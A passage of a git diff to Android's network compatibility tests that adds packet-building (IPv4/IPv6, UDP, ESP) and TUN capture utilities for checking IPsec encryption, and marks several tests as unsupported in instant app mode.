-        runCommand("cp " + SDCARD_CONFIG_PATH + " " + TMP_CONFIG_PATH);
-        // Set test watchlist config to system
+        saveResourceToFile(watchlistConfigFile, TMP_CONFIG_PATH);
         final String cmdResult = runCommand(
                 "cmd network_watchlist set-test-config " + TMP_CONFIG_PATH).trim();
         assertThat(cmdResult).contains("Success");
diff --git a/tests/tests/net/src/android/net/cts/PacketUtils.java b/tests/tests/net/src/android/net/cts/PacketUtils.java
new file mode 100644
index 0000000..6177827
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/PacketUtils.java
@@ -0,0 +1,460 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.system.OsConstants.IPPROTO_IPV6;
+import static android.system.OsConstants.IPPROTO_UDP;
+
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.nio.ByteBuffer;
+import java.nio.ShortBuffer;
+import java.security.GeneralSecurityException;
+import java.security.SecureRandom;
+import java.util.Arrays;
+import javax.crypto.Cipher;
+import javax.crypto.Mac;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+public class PacketUtils {
+    private static final String TAG = PacketUtils.class.getSimpleName();
+
+    private static final int DATA_BUFFER_LEN = 4096;
+
+    static final int IP4_HDRLEN = 20;
+    static final int IP6_HDRLEN = 40;
+    static final int UDP_HDRLEN = 8;
+    static final int TCP_HDRLEN = 20;
+    static final int TCP_HDRLEN_WITH_TIMESTAMP_OPT = TCP_HDRLEN + 12;
+
+    // Not defined in OsConstants
+    static final int IPPROTO_IPV4 = 4;
+    static final int IPPROTO_ESP = 50;
+
+    // Encryption parameters
+    static final int AES_GCM_IV_LEN = 8;
+    static final int AES_CBC_IV_LEN = 16;
+    static final int AES_GCM_BLK_SIZE = 4;
+    static final int AES_CBC_BLK_SIZE = 16;
+
+    // Encryption algorithms
+    static final String AES = "AES";
+    static final String AES_CBC = "AES/CBC/NoPadding";
+    static final String HMAC_SHA_256 = "HmacSHA256";
+
+    public interface Payload {
+        byte[] getPacketBytes(IpHeader header) throws Exception;
+
+        void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception;
+
+        short length();
+
+        int getProtocolId();
+    }
+
+    public abstract static class IpHeader {
+
+        public final byte proto;
+        public final InetAddress srcAddr;
+        public final InetAddress dstAddr;
+        public final Payload payload;
+
+        public IpHeader(int proto, InetAddress src, InetAddress dst, Payload payload) {
+            this.proto = (byte) proto;
+            this.srcAddr = src;
+            this.dstAddr = dst;
+            this.payload = payload;
+        }
+
+        public abstract byte[] getPacketBytes() throws Exception;
+
+        public abstract int getProtocolId();
+    }
+
+    public static class Ip4Header extends IpHeader {
+        private short checksum;
+
+        public Ip4Header(int proto, Inet4Address src, Inet4Address dst, Payload payload) {
+            super(proto, src, dst, payload);
+        }
+
+        public byte[] getPacketBytes() throws Exception {
+            ByteBuffer resultBuffer = buildHeader();
+            payload.addPacketBytes(this, resultBuffer);
+
+            return getByteArrayFromBuffer(resultBuffer);
+        }
+
+        public ByteBuffer buildHeader() {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            // Version, IHL
+            bb.put((byte) (0x45));
+
+            // DCSP, ECN
+            bb.put((byte) 0);
+
+            // Total Length
+            bb.putShort((short) (IP4_HDRLEN + payload.length()));
+
+            // Empty for Identification, Flags and Fragment Offset
+            bb.putShort((short) 0);
+            bb.put((byte) 0x40);
+            bb.put((byte) 0x00);
+
+            // TTL
+            bb.put((byte) 64);
+
+            // Protocol
+            bb.put(proto);
+
+            // Header Checksum
+            final int ipChecksumOffset = bb.position();
+            bb.putShort((short) 0);
+
+            // Src/Dst addresses
+            bb.put(srcAddr.getAddress());
+            bb.put(dstAddr.getAddress());
+
+            bb.putShort(ipChecksumOffset, calculateChecksum(bb));
+
+            return bb;
+        }
+
+        private short calculateChecksum(ByteBuffer bb) {
+            int checksum = 0;
+
+            // Calculate sum of 16-bit values, excluding checksum. IPv4 headers are always 32-bit
+            // aligned, so no special cases needed for unaligned values.
+            ShortBuffer shortBuffer = ByteBuffer.wrap(getByteArrayFromBuffer(bb)).asShortBuffer();
+            while (shortBuffer.hasRemaining()) {
+                short val = shortBuffer.get();
+
+                // Wrap as needed
+                checksum = addAndWrapForChecksum(checksum, val);
+            }
+
+            return onesComplement(checksum);
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_IPV4;
+        }
+    }
+
+    public static class Ip6Header extends IpHeader {
+        public Ip6Header(int nextHeader, Inet6Address src, Inet6Address dst, Payload payload) {
+            super(nextHeader, src, dst, payload);
+        }
+
+        public byte[] getPacketBytes() throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            // Version | Traffic Class (First 4 bits)
+            bb.put((byte) 0x60);
+
+            // Traffic class (Last 4 bits), Flow Label
+            bb.put((byte) 0);
+            bb.put((byte) 0);
+            bb.put((byte) 0);
+
+            // Payload Length
+            bb.putShort((short) payload.length());
+
+            // Next Header
+            bb.put(proto);
+
+            // Hop Limit
+            bb.put((byte) 64);
+
+            // Src/Dst addresses
+            bb.put(srcAddr.getAddress());
+            bb.put(dstAddr.getAddress());
+
+            // Payload
+            payload.addPacketBytes(this, bb);
+
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_IPV6;
+        }
+    }
+
+    public static class BytePayload implements Payload {
+        public final byte[] payload;
+
+        public BytePayload(byte[] payload) {
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return -1;
+        }
+
+        public byte[] getPacketBytes(IpHeader header) {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) {
+            resultBuffer.put(payload);
+        }
+
+        public short length() {
+            return (short) payload.length;
+        }
+    }
+
+    public static class UdpHeader implements Payload {
+
+        public final short srcPort;
+        public final short dstPort;
+        public final Payload payload;
+
+        public UdpHeader(int srcPort, int dstPort, Payload payload) {
+            this.srcPort = (short) srcPort;
+            this.dstPort = (short) dstPort;
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_UDP;
+        }
+
+        public short length() {
+            return (short) (payload.length() + 8);
+        }
+
+        public byte[] getPacketBytes(IpHeader header) throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+            // Source, Destination port
+            resultBuffer.putShort(srcPort);
+            resultBuffer.putShort(dstPort);
+
+            // Payload Length
+            resultBuffer.putShort(length());
+
+            // Get payload bytes for checksum + payload
+            ByteBuffer payloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+            payload.addPacketBytes(header, payloadBuffer);
+            byte[] payloadBytes = getByteArrayFromBuffer(payloadBuffer);
+
+            // Checksum
+            resultBuffer.putShort(calculateChecksum(header, payloadBytes));
+
+            // Payload
+            resultBuffer.put(payloadBytes);
+        }
+
+        private short calculateChecksum(IpHeader header, byte[] payloadBytes) throws Exception {
+            int newChecksum = 0;
+            ShortBuffer srcBuffer = ByteBuffer.wrap(header.srcAddr.getAddress()).asShortBuffer();
+            ShortBuffer dstBuffer = ByteBuffer.wrap(header.dstAddr.getAddress()).asShortBuffer();
+
+            while (srcBuffer.hasRemaining() || dstBuffer.hasRemaining()) {
+                short val = srcBuffer.hasRemaining() ? srcBuffer.get() : dstBuffer.get();
+
+                // Wrap as needed
+                newChecksum = addAndWrapForChecksum(newChecksum, val);
+            }
+
+            // Add pseudo-header values. Proto is 0-padded, so just use the byte.
+            newChecksum = addAndWrapForChecksum(newChecksum, header.proto);
+            newChecksum = addAndWrapForChecksum(newChecksum, length());
+            newChecksum = addAndWrapForChecksum(newChecksum, srcPort);
+            newChecksum = addAndWrapForChecksum(newChecksum, dstPort);
+            newChecksum = addAndWrapForChecksum(newChecksum, length());
+
+            ShortBuffer payloadShortBuffer = ByteBuffer.wrap(payloadBytes).asShortBuffer();
+            while (payloadShortBuffer.hasRemaining()) {
+                newChecksum = addAndWrapForChecksum(newChecksum, payloadShortBuffer.get());
+            }
+            if (payload.length() % 2 != 0) {
+                newChecksum =
+                        addAndWrapForChecksum(
+                                newChecksum, (payloadBytes[payloadBytes.length - 1] << 8));
+            }
+
+            return onesComplement(newChecksum);
+        }
+    }
+
+    public static class EspHeader implements Payload {
+        public final int nextHeader;
+        public final int spi;
+        public final int seqNum;
+        public final byte[] key;
+        public final byte[] payload;
+
+        /**
+         * Generic constructor for ESP headers.
+         *
+         * <p>For Tunnel mode, payload will be a full IP header + attached payloads
+         *
+         * <p>For Transport mode, payload will be only the attached payloads, but with the checksum
+         * calculated using the pre-encryption IP header
+         */
+        public EspHeader(int nextHeader, int spi, int seqNum, byte[] key, byte[] payload) {
+            this.nextHeader = nextHeader;
+            this.spi = spi;
+            this.seqNum = seqNum;
+            this.key = key;
+            this.payload = payload;
+        }
+
+        public int getProtocolId() {
+            return IPPROTO_ESP;
+        }
+
+        public short length() {
+            // ALWAYS uses AES-CBC, HMAC-SHA256 (128b trunc len)
+            return (short)
+                    calculateEspPacketSize(payload.length, AES_CBC_IV_LEN, AES_CBC_BLK_SIZE, 128);
+        }
+
+        public byte[] getPacketBytes(IpHeader header) throws Exception {
+            ByteBuffer bb = ByteBuffer.allocate(DATA_BUFFER_LEN);
+
+            addPacketBytes(header, bb);
+            return getByteArrayFromBuffer(bb);
+        }
+
+        public void addPacketBytes(IpHeader header, ByteBuffer resultBuffer) throws Exception {
+            ByteBuffer espPayloadBuffer = ByteBuffer.allocate(DATA_BUFFER_LEN);
+            espPayloadBuffer.putInt(spi);
+            espPayloadBuffer.putInt(seqNum);
+            espPayloadBuffer.put(getCiphertext(key));
+
+            espPayloadBuffer.put(getIcv(getByteArrayFromBuffer(espPayloadBuffer)), 0, 16);
+            resultBuffer.put(getByteArrayFromBuffer(espPayloadBuffer));
+        }
+
+        private byte[] getIcv(byte[] authenticatedSection) throws GeneralSecurityException {
+            Mac sha256HMAC = Mac.getInstance(HMAC_SHA_256);
+            SecretKeySpec authKey = new SecretKeySpec(key, HMAC_SHA_256);
+            sha256HMAC.init(authKey);
+
+            return sha256HMAC.doFinal(authenticatedSection);
+        }
+
+        /**
+         * Encrypts and builds ciphertext block. Includes the IV, Padding and Next-Header blocks
+         *
+         * <p>The ciphertext does NOT include the SPI/Sequence numbers, or the ICV.
+         */
+        private byte[] getCiphertext(byte[] key) throws GeneralSecurityException {
+            int paddedLen = calculateEspEncryptedLength(payload.length, AES_CBC_BLK_SIZE);
+            ByteBuffer paddedPayload = ByteBuffer.allocate(paddedLen);
+            paddedPayload.put(payload);
+
+            // Add padding - consecutive integers from 0x01
+            int pad = 1;
+            while (paddedPayload.position() < paddedPayload.limit()) {
+                paddedPayload.put((byte) pad++);
+            }
+
+            paddedPayload.position(paddedPayload.limit() - 2);
+            paddedPayload.put((byte) (paddedLen - 2 - payload.length)); // Pad length
+            paddedPayload.put((byte) nextHeader);
+
+            // Generate Initialization Vector
+            byte[] iv = new byte[AES_CBC_IV_LEN];
+            new SecureRandom().nextBytes(iv);
+            IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
+            SecretKeySpec secretKeySpec = new SecretKeySpec(key, AES);
+
+            // Encrypt payload
+            Cipher cipher = Cipher.getInstance(AES_CBC);
+            cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
+            byte[] encrypted = cipher.doFinal(getByteArrayFromBuffer(paddedPayload));
+
+            // Build ciphertext
+            ByteBuffer cipherText = ByteBuffer.allocate(AES_CBC_IV_LEN + encrypted.length);
+            cipherText.put(iv);
+            cipherText.put(encrypted);
+
+            return getByteArrayFromBuffer(cipherText);
+        }
+    }
+
+    private static int addAndWrapForChecksum(int currentChecksum, int value) {
+        currentChecksum += value & 0x0000ffff;
+
+        // Wrap anything beyond the first 16 bits, and add to lower order bits
+        return (currentChecksum >>> 16) + (currentChecksum & 0x0000ffff);
+    }
+
+    private static short onesComplement(int val) {
+        val = (val >>> 16) + (val & 0xffff);
+
+        if (val == 0) return 0;
+        return (short) ((~val) & 0xffff);
+    }
+
+    public static int calculateEspPacketSize(
+            int payloadLen, int cryptIvLength, int cryptBlockSize, int authTruncLen) {
+        final int ESP_HDRLEN = 4 + 4; // SPI + Seq#
+        final int ICV_LEN = authTruncLen / 8; // Auth trailer; based on truncation length
+        payloadLen += cryptIvLength; // Initialization Vector
+
+        // Align to block size of encryption algorithm
+        payloadLen = calculateEspEncryptedLength(payloadLen, cryptBlockSize);
+        return payloadLen + ESP_HDRLEN + ICV_LEN;
+    }
+
+    private static int calculateEspEncryptedLength(int payloadLen, int cryptBlockSize) {
+        payloadLen += 2; // ESP trailer
+
+        // Align to block size of encryption algorithm
+        return payloadLen + calculateEspPadLen(payloadLen, cryptBlockSize);
+    }
+
+    private static int calculateEspPadLen(int payloadLen, int cryptBlockSize) {
+        return (cryptBlockSize - (payloadLen % cryptBlockSize)) % cryptBlockSize;
+    }
+
+    private static byte[] getByteArrayFromBuffer(ByteBuffer buffer) {
+        return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
+    }
+
+    /*
+     * Debug printing
+     */
+    private static final char[] hexArray = "0123456789ABCDEF".toCharArray();
+
+    public static String bytesToHex(byte[] bytes) {
+        StringBuilder sb = new StringBuilder();
+        for (byte b : bytes) {
+            sb.append(hexArray[b >>> 4]);
+            sb.append(hexArray[b & 0x0F]);
+            sb.append(' ');
+        }
+        return sb.toString();
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
index 60ac226..01ac3fd 100644
--- a/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
+++ b/tests/tests/net/src/android/net/cts/SSLCertificateSocketFactoryTest.java
@@ -24,6 +24,7 @@
 import javax.net.ssl.SSLPeerUnverifiedException;
 
 import android.net.SSLCertificateSocketFactory;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import libcore.javax.net.ssl.SSLConfigurationAsserts;
@@ -91,7 +92,7 @@
 
     // a host and port that are expected to be available but have
     // a cert with a different CN, in this case CN=mail.google.com
-    private static String TEST_CREATE_SOCKET_HOST = "googlemail.com";
+    private static String TEST_CREATE_SOCKET_HOST = "www3.l.google.com";
     private static int TEST_CREATE_SOCKET_PORT = 443;
 
     /**
@@ -101,6 +102,7 @@
      *
      * NOTE: Test will fail if external server is not available.
      */
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void test_createSocket_simple() throws Exception {
         try {
             mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
@@ -117,6 +119,7 @@
      *
      * NOTE: Test will fail if external server is not available.
      */
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void test_createSocket_wrapping() throws Exception {
         try {
             Socket underlying = new Socket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT);
@@ -135,6 +138,7 @@
      *
      * NOTE: Test will fail if external server is not available.
      */
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void test_createSocket_bind() throws Exception {
         try {
             mFactory.createSocket(TEST_CREATE_SOCKET_HOST, TEST_CREATE_SOCKET_PORT, null, 0);
diff --git a/tests/tests/net/src/android/net/cts/TheaterModeTest.java b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
index 10fca6f..d1ddeaa 100644
--- a/tests/tests/net/src/android/net/cts/TheaterModeTest.java
+++ b/tests/tests/net/src/android/net/cts/TheaterModeTest.java
@@ -18,12 +18,11 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
-import java.lang.Thread;
-
 public class TheaterModeTest extends AndroidTestCase {
     private static final String TAG = "TheaterModeTest";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
@@ -40,6 +39,7 @@
                        || mContext.getPackageManager().hasSystemFeature(FEATURE_WIFI));
     }
 
+    @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
     public void testTheaterMode() {
         setup();
         if (!mHasFeature) {
diff --git a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
index 503ba51..5bd1e20 100755
--- a/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
+++ b/tests/tests/net/src/android/net/cts/TrafficStatsTest.java
@@ -21,6 +21,7 @@
 import android.net.TrafficStats;
 import android.os.Process;
 import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -81,6 +82,7 @@
         return packetCount * (20 + 32 + bytes);
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testTrafficStatsForLocalhost() throws IOException {
         final long mobileTxPacketsBefore = TrafficStats.getMobileTxPackets();
         final long mobileRxPacketsBefore = TrafficStats.getMobileRxPackets();
diff --git a/tests/tests/net/src/android/net/cts/TunUtils.java b/tests/tests/net/src/android/net/cts/TunUtils.java
new file mode 100644
index 0000000..a030713
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/TunUtils.java
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.IPPROTO_ESP;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.system.OsConstants.IPPROTO_UDP;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.os.ParcelFileDescriptor;
+
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.function.Predicate;
+
+public class TunUtils {
+    private static final String TAG = TunUtils.class.getSimpleName();
+
+    private static final int DATA_BUFFER_LEN = 4096;
+    private static final int TIMEOUT = 100;
+
+    private static final int IP4_PROTO_OFFSET = 9;
+    private static final int IP6_PROTO_OFFSET = 6;
+
+    private static final int IP4_ADDR_OFFSET = 12;
+    private static final int IP4_ADDR_LEN = 4;
+    private static final int IP6_ADDR_OFFSET = 8;
+    private static final int IP6_ADDR_LEN = 16;
+
+    private final ParcelFileDescriptor mTunFd;
+    private final List<byte[]> mPackets = new ArrayList<>();
+    private final Thread mReaderThread;
+
+    public TunUtils(ParcelFileDescriptor tunFd) {
+        mTunFd = tunFd;
+
+        // Start background reader thread
+        mReaderThread =
+                new Thread(
+                        () -> {
+                            try {
+                                // Loop will exit and thread will quit when tunFd is closed.
+                                // Receiving either EOF or an exception will exit this reader loop.
+                                // FileInputStream in uninterruptable, so there's no good way to
+                                // ensure that this thread shuts down except upon FD closure.
+                                while (true) {
+                                    byte[] intercepted = receiveFromTun();
+                                    if (intercepted == null) {
+                                        // Exit once we've hit EOF
+                                        return;
+                                    } else if (intercepted.length > 0) {
+                                        // Only save packet if we've received any bytes.
+                                        synchronized (mPackets) {
+                                            mPackets.add(intercepted);
+                                            mPackets.notifyAll();
+                                        }
+                                    }
+                                }
+                            } catch (IOException ignored) {
+                                // Simply exit this reader thread
+                                return;
+                            }
+                        });
+        mReaderThread.start();
+    }
+
+    private byte[] receiveFromTun() throws IOException {
+        FileInputStream in = new FileInputStream(mTunFd.getFileDescriptor());
+        byte[] inBytes = new byte[DATA_BUFFER_LEN];
+        int bytesRead = in.read(inBytes);
+
+        if (bytesRead < 0) {
+            return null; // return null for EOF
+        } else if (bytesRead >= DATA_BUFFER_LEN) {
+            throw new IllegalStateException("Too big packet. Fragmentation unsupported");
+        }
+        return Arrays.copyOf(inBytes, bytesRead);
+    }
+
+    private byte[] getFirstMatchingPacket(Predicate<byte[]> verifier, int startIndex) {
+        synchronized (mPackets) {
+            for (int i = startIndex; i < mPackets.size(); i++) {
+                byte[] pkt = mPackets.get(i);
+                if (verifier.test(pkt)) {
+                    return pkt;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Checks if the specified bytes were ever sent in plaintext.
+     *
+     * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
+     *
+     * @param plaintext the plaintext bytes to check for
+     * @param startIndex the index in the list to check for
+     */
+    public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
+        Predicate<byte[]> verifier =
+                (pkt) -> {
+                    return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
+                            != -1;
+                };
+        return getFirstMatchingPacket(verifier, startIndex) != null;
+    }
+
+    public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
+        return getFirstMatchingPacket(
+                (pkt) -> {
+                    return isEsp(pkt, spi, encap);
+                },
+                startIndex);
+    }
+
+    public byte[] awaitEspPacketNoPlaintext(
+            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
+        long endTime = System.currentTimeMillis() + TIMEOUT;
+        int startIndex = 0;
+
+        synchronized (mPackets) {
+            while (System.currentTimeMillis() < endTime) {
+                byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
+                if (espPkt != null) {
+                    // Validate packet size
+                    assertEquals(expectedPacketSize, espPkt.length);
+
+                    // Always check plaintext from start
+                    assertFalse(hasPlaintextPacket(plaintext, 0));
+                    return espPkt; // We've found the packet we're looking for.
+                }
+
+                startIndex = mPackets.size();
+
+                // Try to prevent waiting too long. If waitTimeout <= 0, we've already hit timeout
+                long waitTimeout = endTime - System.currentTimeMillis();
+                if (waitTimeout > 0) {
+                    mPackets.wait(waitTimeout);
+                }
+            }
+
+            fail("No such ESP packet found with SPI " + spi);
+        }
+        return null;
+    }
+
+    private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
+        // Check SPI byte by byte.
+        return pkt[espOffset] == (byte) ((spi >>> 24) & 0xff)
+                && pkt[espOffset + 1] == (byte) ((spi >>> 16) & 0xff)
+                && pkt[espOffset + 2] == (byte) ((spi >>> 8) & 0xff)
+                && pkt[espOffset + 3] == (byte) (spi & 0xff);
+    }
+
+    private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
+        if (isIpv6(pkt)) {
+            // IPv6 UDP encap not supported by kernels; assume non-encap.
+            return pkt[IP6_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP6_HDRLEN, spi);
+        } else {
+            // Use default IPv4 header length (assuming no options)
+            if (encap) {
+                return pkt[IP4_PROTO_OFFSET] == IPPROTO_UDP
+                        && isSpiEqual(pkt, IP4_HDRLEN + UDP_HDRLEN, spi);
+            } else {
+                return pkt[IP4_PROTO_OFFSET] == IPPROTO_ESP && isSpiEqual(pkt, IP4_HDRLEN, spi);
+            }
+        }
+    }
+
+    private static boolean isIpv6(byte[] pkt) {
+        // First nibble shows IP version. 0x60 for IPv6
+        return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
+    }
+
+    private static byte[] getReflectedPacket(byte[] pkt) {
+        byte[] reflected = Arrays.copyOf(pkt, pkt.length);
+
+        if (isIpv6(pkt)) {
+            // Set reflected packet's dst to that of the original's src
+            System.arraycopy(
+                    pkt, // src
+                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // src offset
+                    reflected, // dst
+                    IP6_ADDR_OFFSET, // dst offset
+                    IP6_ADDR_LEN); // len
+            // Set reflected packet's src IP to that of the original's dst IP
+            System.arraycopy(
+                    pkt, // src
+                    IP6_ADDR_OFFSET, // src offset
+                    reflected, // dst
+                    IP6_ADDR_OFFSET + IP6_ADDR_LEN, // dst offset
+                    IP6_ADDR_LEN); // len
+        } else {
+            // Set reflected packet's dst to that of the original's src
+            System.arraycopy(
+                    pkt, // src
+                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // src offset
+                    reflected, // dst
+                    IP4_ADDR_OFFSET, // dst offset
+                    IP4_ADDR_LEN); // len
+            // Set reflected packet's src IP to that of the original's dst IP
+            System.arraycopy(
+                    pkt, // src
+                    IP4_ADDR_OFFSET, // src offset
+                    reflected, // dst
+                    IP4_ADDR_OFFSET + IP4_ADDR_LEN, // dst offset
+                    IP4_ADDR_LEN); // len
+        }
+        return reflected;
+    }
+
+    /** Takes all captured packets, flips the src/dst, and re-injects them. */
+    public void reflectPackets() throws IOException {
+        synchronized (mPackets) {
+            for (byte[] pkt : mPackets) {
+                injectPacket(getReflectedPacket(pkt));
+            }
+        }
+    }
+
+    public void injectPacket(byte[] pkt) throws IOException {
+        FileOutputStream out = new FileOutputStream(mTunFd.getFileDescriptor());
+        out.write(pkt);
+        out.flush();
+    }
+
+    /** Resets the intercepted packets. */
+    public void reset() throws IOException {
+        synchronized (mPackets) {
+            mPackets.clear();
+        }
+    }
+}
diff --git a/tests/tests/net/src/android/net/cts/VpnServiceTest.java b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
index 8bdd7b0..15af23c 100644
--- a/tests/tests/net/src/android/net/cts/VpnServiceTest.java
+++ b/tests/tests/net/src/android/net/cts/VpnServiceTest.java
@@ -18,6 +18,7 @@
 import android.content.Intent;
 import android.net.VpnService;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.io.File;
@@ -35,6 +36,7 @@
 
     private VpnService mVpnService = new VpnService();
 
+    @AppModeFull(reason = "PackageManager#queryIntentActivities cannot access in instant app mode")
     public void testPrepare() throws Exception {
         // Should never return null since we are not prepared.
         Intent intent = VpnService.prepare(mContext);
@@ -60,6 +62,7 @@
         }
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testProtect_DatagramSocket() throws Exception {
         DatagramSocket socket = new DatagramSocket();
         try {
@@ -88,6 +91,7 @@
         }
     }
 
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testProtect_int() throws Exception {
         DatagramSocket socket = new DatagramSocket();
         ParcelFileDescriptor descriptor = ParcelFileDescriptor.fromDatagramSocket(socket);
diff --git a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
index 2e5306d..8d7dff0 100644
--- a/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
+++ b/tests/tests/net/src/android/net/http/cts/ApacheHttpClientTest.java
@@ -22,6 +22,7 @@
 import org.apache.http.impl.client.DefaultHttpClient;
 
 import android.net.Uri;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.webkit.cts.CtsTestServer;
 
@@ -30,6 +31,7 @@
 import java.util.ArrayList;
 import java.util.List;
 
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class ApacheHttpClientTest extends AndroidTestCase {
 
     private static final int NUM_DOWNLOADS = 20;
diff --git a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
index 198f973..354954e 100644
--- a/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
+++ b/tests/tests/net/src/android/net/http/cts/HttpResponseCacheTest.java
@@ -22,6 +22,7 @@
 import junit.framework.TestCase;
 
 import android.net.http.HttpResponseCache;
+import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.FileUtils;
 
@@ -126,6 +127,7 @@
      * Make sure that statistics tracking are wired all the way through the
      * wrapper class. http://code.google.com/p/android/issues/detail?id=25418
      */
+    @AppModeFull(reason = "Socket cannot bind in instant app mode")
     public void testStatisticsTracking() throws Exception {
         HttpResponseCache cache = HttpResponseCache.install(cacheDir, 10 * 1024 * 1024);
 
diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
index f06d7e9..1bd7fad 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioGroupTest.java
@@ -21,13 +21,14 @@
 import android.net.rtp.AudioGroup;
 import android.net.rtp.AudioStream;
 import android.net.rtp.RtpStream;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
 import java.net.InetAddress;
 
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
 public class AudioGroupTest extends AndroidTestCase {
 
     private static final String TAG = AudioGroupTest.class.getSimpleName();
